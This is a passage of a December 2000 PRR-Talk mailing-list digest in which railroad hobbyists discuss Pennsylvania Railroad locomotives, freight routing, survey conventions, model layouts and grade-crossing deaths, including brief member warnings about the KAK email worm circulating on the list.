From: Jerry Britton <jerry@pennsyrr.com>



A few weeks ago, a "Weldon" on the list provided me with many of the 1941

divisional maps. Wherever you are, please contact me. I thought I had your

e-mail address tucked away, but apparently it was another "Weldon" on the

list. What are the odds?  <wink>



Please contact me off list. Thanks!

---------------------------------------------------------

Jerry Britton, SPF   Member, PRRT&HS   jerry@pennsyrr.com

Pennsylvania Railroad, Eastern Region, 1954 in N Scale.

"Keystone Crossings" - Home of "PRR-Talk"

    http://kc.pennsyrr.com

"Merchandise Service" - Model railroad products

    http://merchandise.pennsyrr.com

Free serving of railroad web sites

    http://www.railfancentral.com





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Date: Mon, 11 Dec 2000 15:41:17 -0500

From: Dan Cupper <cupper@mciworld.com>

Subject: Re: [PRR] Doubleheaded G's



Greetings to NDBPRR and the List:





Call it a technicality, semantics, or whatever . . .



. . . but I can't recall ever hearing railroaders (PRR, PC, Conrail, Amtrak)

using the term "doubledheaded" to describe two or more Gs running in tandem.

If I'm not mistaken, they'd say that the units were MUed, since only one

engineman was required, just as with Dash 9s or SD80MACs.





Dan









Dan Cupper

cupper@mciworld.com

Galatians 2:20











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Date: Mon, 11 Dec 2000 15:43:44 -0500

Subject: Re: [PRR] Doubleheaded G's

From: Jerry Britton <jerry@pennsyrr.com>



On 12/11/00 3:41 PM, Dan Cupper (cupper@mciworld.com) wrote:



> Call it a technicality, semantics, or whatever . . .



Good point!

> 

> . . . but I can't recall ever hearing railroaders (PRR, PC, Conrail, Amtrak)

> using the term "doubledheaded" to describe two or more Gs running in tandem.

> If I'm not mistaken, they'd say that the units were MUed, since only one

> engineman was required, just as with Dash 9s or SD80MACs.

> 

And yesterday I saw an amazing westbound PIG train pass the Lewistown

Station at high speed with NINE units at the head end...bet it didn't even

slow down at The Mountain!

---------------------------------------------------------

Jerry Britton, SPF   Member, PRRT&HS   jerry@pennsyrr.com

Pennsylvania Railroad, Eastern Region, 1954 in N Scale.

"Keystone Crossings" - Home of "PRR-Talk"

    http://kc.pennsyrr.com

"Merchandise Service" - Model railroad products

    http://merchandise.pennsyrr.com

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Date: Mon, 11 Dec 2000 15:53:58 -0500

Subject: [PRR] Mifflin County Model Railroad Club

From: Jerry Britton <jerry@pennsyrr.com>



Yesterday I visited the Mifflin County Model Railroad Club in

Lewistown...sorry, it was the last open house on the schedule!



This group has a huge area...the entire basement underneath an office

furniture dealer. They modeled the mainline in HO from Harrisburg to

Gallitzin!



Actually, they layout doesn't model the entire mainline, but rather specific

scenes. A loop at one end has the Harrisburg passenger station on one side

and Lucknow truck terminal on the other. They come together and cross the

Rockville Bridge, about 8' long. The leads to Enola are there, but the yard

is not. They will lead to a staging yard. The duckunder tracks into Enola

also deadend, for now, but will lead to a reversing loop, with staging.



Leaving the Rockville Bridge, the line all comes together, takes a 180 and

comes into Lewistown Junction, very much under construction.



Then the line passes through Mt. Union -- also very much under construction

-- and its junction with the EBT, which is all complete.



The main passes through the Spruce Creek tunnels, though the representation

of the two ends are flip-flopped.



Then it's straight into Altoona Yard...just an inline staging area. Not

really active.



Then it's through the BEST representation of the Horseshoe Curve I have seen

to date!!! It starts at about my shoulders and ends with the rails at my eye

level -- about 12' across!



After that it is into Tunnel Hill which is a big reverse loop defining the

west end of the layout.



PROS:

Horseshoe Curve -- the best I have seen!

Four track main throughout

Very good model of Harrisburg Station



CONS:

DC -- Reduces four tracks to dual-track dogbone

Few operating options other than starting/stopping trains



Definitely worth a visit if you ever get the chance!



101 West 3rd Street, Lewistown. I think Tuesdays are their work nights but I

don't know if they allow guests.

---------------------------------------------------------

Jerry Britton, SPF   Member, PRRT&HS   jerry@pennsyrr.com

Pennsylvania Railroad, Eastern Region, 1954 in N Scale.

"Keystone Crossings" - Home of "PRR-Talk"

    http://kc.pennsyrr.com

"Merchandise Service" - Model railroad products

    http://merchandise.pennsyrr.com

Free serving of railroad web sites

    http://www.railfancentral.com





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Date: Mon, 11 Dec 2000 16:20:26 -0500

From: Andy Miller <asmiller@mitre.org>

Subject: Re: [PRR] Mifflin County Model Railroad Club



Isn't the main line 3 tracks through the Spruce Creek Tunnels?



Regards,



Andy Miller

asmiller@mitre.org



===================================================



Jerry Britton wrote:(in part)

> 

> Yesterday I visited the Mifflin County Model Railroad Club in

> Lewistown.... They modeled the mainline in HO from Harrisburg to

> Gallitzin!

> 

> The main passes through the Spruce Creek tunnels, though the representation

> of the two ends are flip-flopped.

> 



> PROS:

> Horseshoe Curve -- the best I have seen!

> Four track main throughout

...





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From: "boxcar46" <boxcar46@nfdc.net>

Subject: Re: [PRR] Doubleheaded G's

Date: Mon, 11 Dec 2000 16:30:43 -0500



Hi Guys,



I lived about  1 1/2 miles from the North East mainline, in the Rosedale,

south of the Glenn L. Martin plant,in Essex, MD. add  I had seen many times

a pair of GG-1's pulling a passenger train.  1) Kennedy's funeral train for

one,  2) On one occasion a RR inspection train,  3) and many times one of

the longer passenger trains with mail cars having more than 1 GG-1.  I

wouldn't swear to it, but I can remember seeing up to 3 g's on a single

train. Then there is the power moves from NJ. to Baltimore (Balmer) engine

terminal with a local passenger train.... YES 3 GG-1's with Maybe 6

passenger coaches.....( lots of power )  Oh the good old days of sitting

under the beltway bridge in a lounge chair with the camera...





Bill  Knepper

PRRT&HS # 1818

(boxcar46@nfdc.net)

End of the NCR tracks, New Freedom, Pa.

-----Original Message-----

From: Jerry Britton <jerry@pennsyrr.com>

To: Dan Cupper <cupper@mciworld.com>; Andy Miller <asmiller@mitre.org>

Cc: NDBPRR@aol.com <NDBPRR@aol.com>; PRR-Talk@dsop.com <PRR-Talk@dsop.com>

Date: Monday, December 11, 2000 3:46 PM

Subject: Re: [PRR] Doubleheaded G's





>On 12/11/00 3:41 PM, Dan Cupper (cupper@mciworld.com) wrote:

>

>> Call it a technicality, semantics, or whatever . . .

>

>Good point!

>>

>> . . . but I can't recall ever hearing railroaders (PRR, PC, Conrail,

Amtrak)

>> using the term "doubledheaded" to describe two or more Gs running in

tandem.

>> If I'm not mistaken, they'd say that the units were MUed, since only one

>> engineman was required, just as with Dash 9s or SD80MACs.

>>

>And yesterday I saw an amazing westbound PIG train pass the Lewistown

>Station at high speed with NINE units at the head end...bet it didn't even

>slow down at The Mountain!

>---------------------------------------------------------

>Jerry Britton, SPF   Member, PRRT&HS   jerry@pennsyrr.com

>Pennsylvania Railroad, Eastern Region, 1954 in N Scale.

>"Keystone Crossings" - Home of "PRR-Talk"

>    http://kc.pennsyrr.com

>"Merchandise Service" - Model railroad products

>    http://merchandise.pennsyrr.com

>Free serving of railroad web sites

>    http://www.railfancentral.com

>

>

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>





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From: PKMac1@aol.com

Date: Mon, 11 Dec 2000 18:21:05 EST

Subject: Re: [PRR] DELMARVA Track Diagrams



Mark and Fellows. Thought engineering station numbering be it highway or 

railroad is in hundred foot stations. 1+ 00 being 100 ft thus 1372+ 80 would 

be 137,280 ft.not  MP 137.2+80. At least that is the way the PRR Valuation 

Maps for RoW are. Starting at 0, MP1 would be 52+80 and MP 2 would be 105+60.



Pat



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From: "Bill Daniels" <billd@gci-net.com>

Subject: Re: [PRR] PFE question

Date: Mon, 11 Dec 2000 17:18:07 -0700



Actually the split point (on the SP) was somewhere around Santa Margarita

(in Central California, which is just north of Cuesta Pass on the SP's Coast

Line). Produce originating north of Santa Margarita headed east over Donner

Pass and the UP, while produce originating to the south was routed east via

LA, Beaumont Pass, Arizona (I had to put a plug for AZ in somewhere) and

then via either KC or St. Louis, depending on if it went via the SSW or the

Golden State route and the Rock Island. Check out the PFE book by Thompson,

Church and Jones.



Bill Daniels

Tucson AZ

----- Original Message -----

From: Gregg Mahlkov <mahlkov@gtcom.net>

To: Colman Gerald <ColmanG@tce.com>; <PRR-Talk@dsop.com>

Sent: Monday, December 11, 2000 12:34 PM

Subject: Re: [PRR] PFE question





> Jerry and list:

>

> PFE's would have been received at both Chicago and St. Louis, depending on

> where they originated. Imperial Valley and Arizona produce no doubt moved

> via the Cotton Belt and St. Louis, while Fresno area might as well have

> moved via the "Overland Route" to UP at Ogden, UT and eventually to

Chicago.

>

> Much of this produce was destined to Pennsylvania Produce Terminals

operated

> in major Cities, which were owned by the PRR, with space leased to

> wholesalers. The New York area one was at "Ball Ground" in Jersey City.

The

> rest went to the large supermarket chains' main warehouses.

>

> The Produce Terminal was my responsibility for the PRR Traffic Department

in

> Baltimore, MD, in 1965-1967.

>

> Gregg Mahlkov

>

>

> ----- Original Message -----

> From: "Colman Gerald" <ColmanG@tce.com>

> To: "PRR Talk" <prr-talk@dsop.com>

> Sent: Monday, December 11, 2000 1:34 PM

> Subject: [PRR] PFE question

>

>

> > Can anyone enlighten me on if the Pennsy hauled any of the Pacific Fruit

> > Express reefers.

> > Were they usually picked up in Chicago or St. Louis?  What was there

final

> > destination points?

> > Since I assume they ran on fast trains, which steam engines were used to

> > haul them through Indiana, Ohio, and Pennsylvania?  Any other comments,

> > history, or references on this particular service of the Pennsy would be

> > greatly appreciated.

> >

> > Thanks in advance.

> > Jerry Colman

> >

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From: "taylorsouthwood" <taylorsouthwood@email.msn.com>

Subject: [PRR] Proper Horns for Pennsy EP-22

Date: Mon, 11 Dec 2000 19:25:54 -0500



This is a multi-part message in MIME format.



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Here is a question for the diesel experts on the list. I am modeling a =

pair of PK2 E-8 locomotives and am having difficulty in choosing the =

right prototypical horn. In my parts catalogs there are horns that look =

close but I am still not sure on the correct one. Any help or =

suggestions on this matter would be greatly appreciated.  Mark





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From: "Greg Johnson" <gregj@hal-pc.org>

Subject: [PRR] ZTS book- Monongahela Secondary

Date: Tue, 12 Dec 2000 17:05:46 -0600



I am looking for photocopies of the Conrail ZTS book pages that pertain to

the Monongahela Secondary (ex-PRR Monongahela Division). PRR or PC versions

would be even better.



Regards,



Greg Johnson

Modeling Pittsburgh's Mon Valley in 1968





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From: Bobspf@aol.com

Date: Mon, 11 Dec 2000 20:56:14 EST

Subject: Re: [PRR] Proper Horns for Pennsy EP-22



Page 327 of Pennsy Power II says they were Leslie-Tyfon Chime-tone  Air 

horns.  At least on the 5898 and 5899 shown in the photo.



Bob Zoeller



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Date: Mon, 11 Dec 2000 20:56:15 -0500

From: Nick Kulp <caseyj@mail.igateway.com>

Subject: [PRR] Virus spreaders



Listers,



I downloaded messages tonight at 8:35PM EST from this list. One was

infected with the KAK virus. Fortunately I keep my AV data files updated.

This virus is spread through the virus vacuum Outlook Express. Please for

the sake of other members purchase USE, and update,anti-virus software.

This is the third time this virus has been spread to me through this list.

The message is easily identified by a text-only emailer like Eudora Lite.

At the end of the message there appears to be additional "text" that

includes information with the KAK.hta signature. Please start checking your

messages and if you've recieved email around this time frame check your

start menu directory and do a search for any file with a .hta extension.

The virus spreads through email. For further info go to this site.



> > The following web page contains simple instructions for removing the

> > virus.  If you want to let the sender know how to remove the virus,

direct

> > them to this page:

> >

> > http://www.ismi.net/kak



Regards,

Nick kulp







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From: RDG2124@aol.com

Date: Mon, 11 Dec 2000 21:00:02 EST

Subject: [PRR] Track Diag.



  The numbers with the stations are assign as a required accounting practice. 

 Just as rolling equipment received numbers, so did stations.  On the larger 

roads this was compiled in book form and also contained a listing of old and 

new station names where the name had been change.



  As for the other questions, the symbols would have to be seen to properly 

interpret them.



Evan









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From: SUVCWORR@aol.com

Date: Mon, 11 Dec 2000 21:17:47 EST

Subject: Re: [PRR] PFE question





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Jerry:



According to Tony Thompson's PFE book, limited amounts of PFE cars were 

hauled by the PRR.  Most of those were intended for the produce yards at 

Pittsburgh, Baltimore and Philadelphia.  The Erie was the preferred route 

into NY for PFE.  Train schedules (see Mark Bej's site 

(http://www.neuro.ccf.org/~bejm/Rail/Prr/) and consists show delivery also to 

Washington, DC and Newark.   Perishables were re-iced at Columbus and 

Huntington.



The trains into the Pittsburgh produce terminal came off both the Panhandle 

and Eastern Divisions usually behind L1s when pulled by steam.  (based on 

photos)



Rich Orr



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<HTML><FONT FACE=arial,helvetica><FONT  COLOR="#800080" SIZE=3><B>Jerry:

<BR>

<BR>According to Tony Thompson's PFE book, limited amounts of PFE cars were <BR>hauled by the PRR. &nbsp;Most of those were intended for the produce yards at <BR>Pittsburgh, Baltimore and Philadelphia. &nbsp;The Erie was the preferred route <BR>into NY for PFE. &nbsp;Train schedules (see Mark Bej's site <BR>(http://www.neuro.ccf.org/~bejm/Rail/Prr/) and consists show delivery also to <BR>Washington, DC and Newark. &nbsp;&nbsp;Perishables were re-iced at Columbus and <BR>Huntington.

<BR>

<BR>The trains into the Pittsburgh produce terminal came off both the Panhandle <BR>and Eastern Divisions usually behind L1s when pulled by steam. &nbsp;(based on <BR>photos)

<BR>

<BR>Rich Orr</B></FONT></HTML>



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From: "Gregg Mahlkov" <mahlkov@gtcom.net>

Subject: Re: [PRR] PFE question

Date: Mon, 11 Dec 2000 22:42:20 -0500



This is a multi-part message in MIME format.



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Jerry and list:



First, I forgot that prior to the NKP-N&W-WAB merger in 1964, PRR =

received quite a few California and Arizona perishables off the Wabash =

at Logansport, Indiana, which WAB received from both RI and ATSF at KC. =

This dried up rapidly after the 1964 merger.  Richard Orr intimates that =

PFE had control over the routing of cars. From a traffic department =

standpoint this is not true. Each perishable wholesale dealer was allied =

with a railroad and leased space from it. Each railroad did have its own =

perishable terminal in the Big Apple, but it was the NYC, with its =

direct rail access to the Bronx and Hunt's Point that was the big =

player, not the Erie. PFE might have preferred the Erie, but the shipper =

controlled the route and there was a lot of traffic into Ball Ground. =

Again, I covered Baltimore and the big wholesaler in the PPT was Tony =

Vitrano, who got an awful lot of PFE's full of Imperial Valley =

vegetables.



Gregg Mahlkov

  ----- Original Message -----=20

  From: SUVCWORR@aol.com=20

  To: ColmanG@tce.com ; prr-talk@dsop.com=20

  Sent: Monday, December 11, 2000 9:17 PM

  Subject: Re: [PRR] PFE question





  Jerry:=20



  According to Tony Thompson's PFE book, limited amounts of PFE cars =

were=20

  hauled by the PRR.  Most of those were intended for the produce yards =

at=20

  Pittsburgh, Baltimore and Philadelphia.  The Erie was the preferred =

route=20

  into NY for PFE.  Train schedules (see Mark Bej's site=20

  (http://www.neuro.ccf.org/~bejm/Rail/Prr/) and consists show delivery =

also to=20

  Washington, DC and Newark.   Perishables were re-iced at Columbus and=20

  Huntington.=20



  The trains into the Pittsburgh produce terminal came off both the =

Panhandle=20

  and Eastern Divisions usually behind L1s when pulled by steam.  (based =

on=20

  photos)=20



  Rich Orr=20



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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<HTML><HEAD>

<META http-equiv=3DContent-Type content=3D"text/html; =

charset=3Diso-8859-1">

<META content=3D"MSHTML 5.50.4522.1800" name=3DGENERATOR>

<STYLE></STYLE>

</HEAD>

<BODY bgColor=3D#ffffff>

<DIV><FONT size=3D2>Jerry and list:</FONT></DIV>

<DIV><FONT size=3D2></FONT>&nbsp;</DIV>

<DIV><FONT size=3D2>First, I forgot that prior to the NKP-N&amp;W-WAB =

merger in=20

1964, PRR received quite a few California and Arizona perishables off =

the Wabash=20

at Logansport, Indiana, which WAB received from both RI and ATSF at KC. =

This=20

dried up rapidly after the 1964 merger.&nbsp; Richard Orr intimates that =

PFE had=20

control over the routing of cars. From a traffic department standpoint =

this is=20

not true. Each perishable wholesale dealer was allied with a railroad =

and leased=20

space from it. Each railroad did have its own perishable terminal in the =

Big=20

Apple, but it was the NYC, with its direct rail access to the Bronx and =

Hunt's=20

Point that was the big player, not the Erie. PFE might have preferred =

the Erie,=20

but the shipper controlled the route and there was a lot of traffic into =

Ball=20

Ground. Again, I covered Baltimore and the big wholesaler in the PPT was =

Tony=20

Vitrano, who got an awful lot of PFE's full of Imperial Valley=20

vegetables.</FONT></DIV>

<DIV><FONT size=3D2></FONT>&nbsp;</DIV>

<DIV><FONT size=3D2>Gregg Mahlkov</FONT></DIV>

<BLOCKQUOTE=20

style=3D"PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: 5px; =

BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px">

  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>

  <DIV=20

  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =

black"><B>From:</B>=20

  <A title=3DSUVCWORR@aol.com =

href=3D"mailto:SUVCWORR@aol.com">SUVCWORR@aol.com</A>=20

  </DIV>

  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A title=3DColmanG@tce.com=20

  href=3D"mailto:ColmanG@tce.com">ColmanG@tce.com</A> ; <A =

title=3Dprr-talk@dsop.com=20

  href=3D"mailto:prr-talk@dsop.com">prr-talk@dsop.com</A> </DIV>

  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Monday, December 11, 2000 =

9:17=20

  PM</DIV>

  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> Re: [PRR] PFE =

question</DIV>

  <DIV><BR></DIV><FONT face=3Darial,helvetica><FONT color=3D#800080 =

size=3D3><B>Jerry:=20

  <BR><BR>According to Tony Thompson's PFE book, limited amounts of PFE =

cars=20

  were <BR>hauled by the PRR. &nbsp;Most of those were intended for the =

produce=20

  yards at <BR>Pittsburgh, Baltimore and Philadelphia. &nbsp;The Erie =

was the=20

  preferred route <BR>into NY for PFE. &nbsp;Train schedules (see Mark =

Bej's=20

  site <BR>(<A=20

  =

href=3D"http://www.neuro.ccf.org/~bejm/Rail/Prr/">http://www.neuro.ccf.or=

g/~bejm/Rail/Prr/</A>)=20

  and consists show delivery also to <BR>Washington, DC and Newark.=20

  &nbsp;&nbsp;Perishables were re-iced at Columbus and <BR>Huntington.=20

  <BR><BR>The trains into the Pittsburgh produce terminal came off both =

the=20

  Panhandle <BR>and Eastern Divisions usually behind L1s when pulled by =

steam.=20

  &nbsp;(based on <BR>photos) <BR><BR>Rich Orr</B></FONT>=20

</FONT></BLOCKQUOTE></BODY></HTML>



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From: "Doug Goss" <homes@infocom.com>

Subject: [PRR] NOTICE: Beware VIRUS BEING SENT VIA PRR TALK

Date: Mon, 11 Dec 2000 22:58:00 -0500



While down loading a PRR-talk e-mail from server, my Norton Antivirus

detached a virus. This virus is wscript.kakworm. More information and a fix

can be found at Symantec's website:

http://www.sarc.com/avcenter/venc/data/wscript.kakworm.html



If you have any further questions I will be glad to answer them for you.



Thanks

Doug Goss

Gosstech



homes@infocom.com



www.railroaddays.org







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From: "Steve Hoxie" <steveh@dotstar.net>

Subject: Re: [PRR] PFE question

Date: Mon, 11 Dec 2000 22:24:22 -0600



Jerry--The Keystone for Spring of 1990 has an article on the Pittsburgh

Produce Terminal.  Pictures show several PFE cars in attendance.



Steve Hoxie

Pensacola FL









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From: TGREGMRTN@aol.com

Date: Tue, 12 Dec 2000 03:14:29 EST

Subject: [PRR] Trying to locate...



Hey Guys,



I seem to remember seeing Mike Del Vecchio on this list at some point.  Is 

Mike still a member or was he a member or am I wrong.  Nonetheless, I need to 

contact Mike Del Vecchio regarding a recently published photo in his 

collection.  I was of a freight car and a manufacturer friend of mine would 

like a copy to work from for a kit he is working on.  



If he is not on this list then perhaps someone can put me in touch with him. 



I appreciate all the effort...



Greg Martin 



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Date: Tue, 12 Dec 2000 02:10:13 -0800 (PST)

From: Doug Kisala <dougkisala@yahoo.com>

Subject: [PRR] double-headed PRR G5s engines



Hello list,



With all of this talk of paired GG1 motors, the

thought occurred to me that I don't think I've ever

seen a picture of double-headed G5s ten wheelers on

the PRR.  I have seen a shot or two of them on the

LIRR (as well as a shot of a G5s and E6s together). 

Just curious!



Doug



__________________________________________________

Do You Yahoo!?

Yahoo! Shopping - Thousands of Stores. Millions of Products.

http://shopping.yahoo.com/



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Date: Tue, 12 Dec 2000 08:52:46 -0500

From: "James L. McDaniel" <jlmcdaniel@esva.net>

Subject: Re: [PRR] (no subject)



Thanks for the clarification.  I was a draftsman and

"idiot-end-of-the-chain" survey crew member in college and well remember

the survey station conventions.  It's interesting to note that miles

were not always miles in the engineering world.  I would assume that the

variance is due to minor track realignments since the original alignment

was set up by AJ Cassatt in the 1880's.



Those of you  who are engineers or worked for them (like me) know that

EVERYTHING has to be measured, remeasured and then drawn/documented

whenever anything changes --or when the survey crew or draftsmen have

any slack time!



JimMcDaniel





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Date: Tue, 12 Dec 2000 07:08:10 -0800 (PST)

From: robert netzlof <wb3iqe@rocketmail.com>

Subject: Re: [PRR] (no subject)



--- "James L. McDaniel" <jlmcdaniel@esva.net> wrote:

<snip>

> It's interesting to

> note that miles

> were not always miles in the engineering world.  I

> would assume that the

> variance is due to minor track realignments since

> the original alignment

> was set up by AJ Cassatt in the 1880's.



I recall reading a surveying text in which the author

devoted several pages to re-survey of RR right of way.

He claimed that over the decades, normal track

maintenance tended to cause tracks to creep in various

directions to the extent that the least dependable

reference the surveyor could use was the track

location.



> Those of you  who are engineers or worked for them

> (like me) know that

> EVERYTHING has to be measured, remeasured and then

> drawn/documented



Perhaps having learned the hard way that our ancestors

didn't remeasure and draw/document enough, and placed

too much faith in the permanence of marks "built on

sand". ("Beginning at a 1 inch oak plug driven into

the trunk of an 18 inch hemlock on the north bank of

the Clarion River..." indeed.)



> whenever anything changes --or when the survey crew

> or draftsmen have

> any slack time!







=====

Bob Netzlof a/k/a Sweet Old Bob





__________________________________________________

Do You Yahoo!?

Yahoo! Shopping - Thousands of Stores. Millions of Products.

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From: PKMac1@aol.com

Date: Tue, 12 Dec 2000 11:25:46 EST

Subject: Re: [PRR] (no subject)



Bob and Fellow List members. Exactly right. When I was a Draftsman in Altoona 

for the Div Engr.,Trk Supvrs. and others wanted distances from the center of 

track to a property line where there were questions. I had no formal civil 

engineering training but was taught enough by other fellow engineering dept 

people.The one main thing was that the track dept always changed the track 

structure. Whether it be moving a sw one way or the other or the main thing, 

surfaceing track. When this done they usually like to plus out curves(make it 

a larger radius) as this relieves the pressure especially in hot weather to 

prevent heat kinks. Some curves may be minused(smaller radius) and some are 

realigned completely. Even tangets would be moved increasing track centers 

for better clearance.This in turns changes any measurement made from the 

center of the track.Over time this can really add up. I would tell people 

that a measurement  would be approx. because of this.

  One of the few things that did not move were structures and 

foundations,bridge back walls culverts and things like that. There were some 

exceptions to this as there always are.



Pat McKinney



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From: "Bill Bigler" <wbigler@stny.rr.com>

Subject: Re: [PRR] Virus spreaders

Date: Tue, 12 Dec 2000 12:39:27 -0500



Not sure where they come from, but lately I've found viruses every week or

so.  Be sure to enable your virus program to check incoming and downloads.

Run a total system check every week.  I do the check when I go to bed and in

the morning find out what it found.  Usually more than one these days!



Bill Bigler

Big Flats NY

Modeling PRR Renovo Div. WWII



-----Original Message-----

From: Nick Kulp <caseyj@mail.igateway.com>

To: PRR-Talk@dsop.com <PRR-Talk@dsop.com>

Date: Monday, December 11, 2000 9:16 PM

Subject: [PRR] Virus spreaders





>Listers,

>

>I downloaded messages tonight at 8:35PM EST from this list. One was

>infected with the KAK virus. Fortunately I keep my AV data files updated.

>This virus is spread through the virus vacuum Outlook Express. Please for

>the sake of other members purchase USE, and update,anti-virus software.

>This is the third time this virus has been spread to me through this list.

>The message is easily identified by a text-only emailer like Eudora Lite.

>At the end of the message there appears to be additional "text" that

>includes information with the KAK.hta signature. Please start checking your

>messages and if you've recieved email around this time frame check your

>start menu directory and do a search for any file with a .hta extension.

>The virus spreads through email. For further info go to this site.

>

>> > The following web page contains simple instructions for removing the

>> > virus.  If you want to let the sender know how to remove the virus,

>direct

>> > them to this page:

>> >

>> > http://www.ismi.net/kak

>

>Regards,

>Nick kulp

>

>

>

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From: AlbertSR@aol.com

Date: Tue, 12 Dec 2000 12:51:04 EST

Subject: [PRR] Dec Mainline



Train lovers

I just got my December Mainline Modeler, I was thrilled to see two great 

article by artists I can be proud to call my friends. 



There is the Wallingford station construction article by Gerry Siegel which 

left me feeling that even a putz like me could have a chance of being 

successful in the endeavor. 



Then there was the first part of Greg Martin's PA article. If you like PRR or 

PA's, you'll have to read this. In all honesty though, the printed photos do 

not do this model justice. Greg stopped by after Naperville and the model was 

awesome in person.



For the 50's modeler, there was an article on modernizing a Tichy O.B. box 

car into a PRR X-26. Enough to keep me busy for a while.



I have no vested vested interest in Mainline Modeler except for being the 

owner of all but two issues......   Al



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From: "John H. Wright" <johnhwright@xclent.clara.co.uk>

Subject: [PRR] Franklinsburg layout photos

Date: Tue, 12 Dec 2000 17:56:32 -0000



To the list,



The time has come to rip up much of my old standard HO PRR layout

'Franklinsburg' and embark on a major rebuild.

Just for the record I have scanned in a lot of new photos and 'improved' the

old ones.  You can find them at:



http://home.freeuk.net/nmrabr/f_burg/layout.htm



and go on from there.



Season's greetings,

John H. Wright

Washington, England

Websites at: http://home.freeuk.net/nmrabr/

























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From: PRRPaul@aol.com

Date: Tue, 12 Dec 2000 15:33:54 EST

Subject: [PRR] Re: PRR-Talk Digest - 12/11/00



In reply to the question from "taylorsouthwood" regarding horns for EP22s, I 

suggest Overland Models #9007 Airhorn, 3 chime.  This horn has all 3 trumpets 

facing forward.  These horns are difficult to find in hobby shops; perhaps 

you can order direct from Overland.





                                                                Paul 

Backenstose



                                  



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Date: Tue, 12 Dec 2000 15:46:58 -0600 (CST)

From: harperd@tamug.tamu.edu (Don Harper)

Subject: [PRR] PRR:  Grade crossing casualties



The latest issue of the Western Pennsylvania Genealogical Society Bulletin

has a 3-page article "1905-1907 Casualties on Unprotected Railroad Grade

Crossings in Homestead, Allegheny County."  The grade crossings are on the

Pittsburgh, Virginia and Charleston, a PRR subsidiary, and the P&LE.   In

the 3-year period covered 23 persons were killed and 25 severely injured.

Also lots of horses and mules met their end.  The names of everyone killed

or injured are listed.



Don Harper

Texas A&M Marine Lab

5007 Avenue U

Galveston, TX  77551

409/740-4540







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From: SUVCWORR@aol.com

Date: Tue, 12 Dec 2000 17:04:54 EST

Subject: Re: [PRR] PFE question





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In a message dated 12/11/2000 10:39:16 PM Eastern Standard Time, 

mahlkov@gtcom.net writes:





> .  Richard Orr intimates that PFE had control over the routing of cars. From 

> a traffic department standpoint this is not true. 



Gregg:



Please see Tony Thompson's PFE monograph.  The PFE traffic department 

controlled PFE cars from point of loading to point of destination.  In fact 

many times the load had not been sold when it left California and was sold in 

route.  This resulted in changing the routing of specific cars while they 

were rolling across country.  In Pittsburgh and I would think other 

locations, the cars were assigned to the PRR who litterally auctioned the 

produce every morning (if you call 1 - 3 AM morning).  A very small portion 

of the cars were assigned to specific end users.



Car destinations were also changed in route as the market prices fluctuated 

on the east coast.  Thus getting the most profit for the producers.



Rich Orr



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<HTML><FONT FACE=arial,helvetica><FONT  COLOR="#800080" SIZE=3><B>In a message dated 12/11/2000 10:39:16 PM Eastern Standard Time, <BR>mahlkov@gtcom.net writes:

<BR>

<BR></FONT><FONT  COLOR="#000000" SIZE=2 FAMILY="SANSSERIF" FACE="Arial" LANG="0"></B>

<BR><BLOCKQUOTE TYPE=CITE style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px">. &nbsp;Richard Orr intimates that PFE had control over the routing of cars. From <BR>a traffic department standpoint this is not true. </FONT><FONT  COLOR="#000000" SIZE=3 FAMILY="SANSSERIF" FACE="Arial" LANG="0"></BLOCKQUOTE>

<BR></FONT><FONT  COLOR="#800080" SIZE=3 FAMILY="SANSSERIF" FACE="Arial" LANG="0"><B>

<BR>Gregg:

<BR>

<BR>Please see Tony Thompson's PFE monograph. &nbsp;The PFE traffic department <BR>controlled PFE cars from point of loading to point of destination. &nbsp;In fact <BR>many times the load had not been sold when it left California and was sold in <BR>route. &nbsp;This resulted in changing the routing of specific cars while they <BR>were rolling across country. &nbsp;In Pittsburgh and I would think other <BR>locations, the cars were assigned to the PRR who litterally auctioned the <BR>produce every morning (if you call 1 - 3 AM morning). &nbsp;A very small portion <BR>of the cars were assigned to specific end users.

<BR>

<BR>Car destinations were also changed in route as the market prices fluctuated <BR>on the east coast. &nbsp;Thus getting the most profit for the producers.

<BR>

<BR>Rich Orr</B></FONT></HTML>



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Date: Tue, 12 Dec 2000 17:08:22 -0500

From: Mike A <n2icv@home.com>

Subject: Re: [PRR] PFE question



"Gregg Mahlkov" <mahlkov@gtcom.net> Wrote

"Each railroad did have its own =

perishable terminal in the Big Apple, but it was the NYC, with its =

direct rail access to the Bronx and Hunt's Point that was the big =

player, not the Erie."



Not so it was the New Haven RR that had access to Hunt's Point and the east side of the Bronx via the The New York Connecting RR . By the way is now Amtrak and CSX .With CSX doing Hunt's Point! And the yard there has been rebuilt and is also served by CP ,CN , P&W,and the NY&A.





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From: egatwood@spl.usace.army.mil

Subject: RE: [PRR] PRR:  Grade crossing casualties

Date: Tue, 12 Dec 2000 15:36:08 -0800



Don,  The area through Homestead is crossed (still) by numerous road

crossings, some of which they tried to alleviate by construction of hi-level

bridges.  However, the RR is still at grade thru there.  It seems to be

partly a problem of no right-of-way for the "over" solutions, which they did

further north, and no "under" option due to its location on a floodplain

close to groundwater.  Pennsy was so successful with their "over and under"

treatments most everywhere else they had this problem, that they greatly

alleviated these problems.  From just north of Homestead all the way south

though, PRR ran the risk.

   The stats you gave are horrifying.  Apparently, too, there are some that

never learn.  I live in LA now, and the "newly constructed" Blue Line

(commuter train) runs at gradeover much of its length.  I have been on two

trains involved in at-grade accidents, although thankfully with no

fatalities, but there are dozens of fatal accidents each year.  It appears

that the Pennsy learned a lesson that the Metropolitan transit Authority of

LA has yet to get....

elden



-----Original Message-----

From: harperd@tamug.tamu.edu [mailto:harperd@tamug.tamu.edu]

Sent: Tuesday, December 12, 2000 1:47 PM

To: PRR-Talk@dsop.com

Subject: [PRR] PRR: Grade crossing casualties





The latest issue of the Western Pennsylvania Genealogical Society Bulletin

has a 3-page article "1905-1907 Casualties on Unprotected Railroad Grade

Crossings in Homestead, Allegheny County."  The grade crossings are on the

